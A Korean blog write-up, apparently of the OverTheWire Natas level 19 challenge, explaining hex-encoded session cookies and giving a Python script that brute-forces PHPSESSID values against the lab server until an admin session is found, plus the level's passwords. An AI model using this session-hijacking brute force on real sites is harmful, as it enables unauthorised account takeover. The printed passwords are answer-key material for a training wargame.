Over the Wire/natas

[OvertheWire:Natas] natas 18 → 19 / natas19

ruming 2021. 7. 1. 05:52

코드가 이전 레벨과 거의 같지만 세션 아이디가 순차적이지 않다.

 

쿠키값

3238352d736466

 

디코딩해보자.

디코딩 사이트중에 괜찮은 사이트가 있었다. https://dencode.com/

hex 디코딩이 제일 그럴듯하다. 쿠키값을 더 받아보고 확인을 해야 할 것 같다.

 

1. 3238352d736466 → 285-sdf

 

2. 3534302d736466617364 → 540-sdfasd

 

3. 3434352d736466617364 → 445-sdfasd

 

숫자-문자 형식인 것 같다.

 

뒤에 문자가 뭔가 했더니 내가 입력했던 아이디였다.

랜덤번호+아이디 형식으로 추측된다. 아마 이번에도 1-640 사이일테니 뒤에 -admin을 추가하면 될 것 같다.

import socket
dic = {'0':'30', '1':'31', '2':'32', '3':'33', '4':'34', '5':'35', '6':'36', '7':'37', '8':'38', '9':'39'}

for i in range(641):
    i = list(str(i))
    ch = ""
    for x in range(len(i)):
        ch += dic[i[x]]
    print(ch)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("176.9.9.172", 80))
    
    header = "POST /index.php HTTP/1.1\r\n"
    header += "HOST: natas19.natas.labs.overthewire.org\r\n"
    header += "Authorization: Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n"
    header += "Content-Type: application/x-www-form-urlencoded\r\n"
    header += "Cookie: PHPSESSID="+str(ch)+"2d61646d696e\r\n"
    header += "\r\n"

    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    
    if "You are an admin" in response:
        print(response)
        sock.close()
        break;
    sock.close()
print()

encode.("hex")로 숫자+"-admin"을 인코딩해주려 했는데 오류가 나서 방법을 찾다가 직접 바꾸는 코드를 이용했다. 

https://security04.tistory.com/194

 

281-admin

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

 

버프슈트로 세션값을 넣어봤다.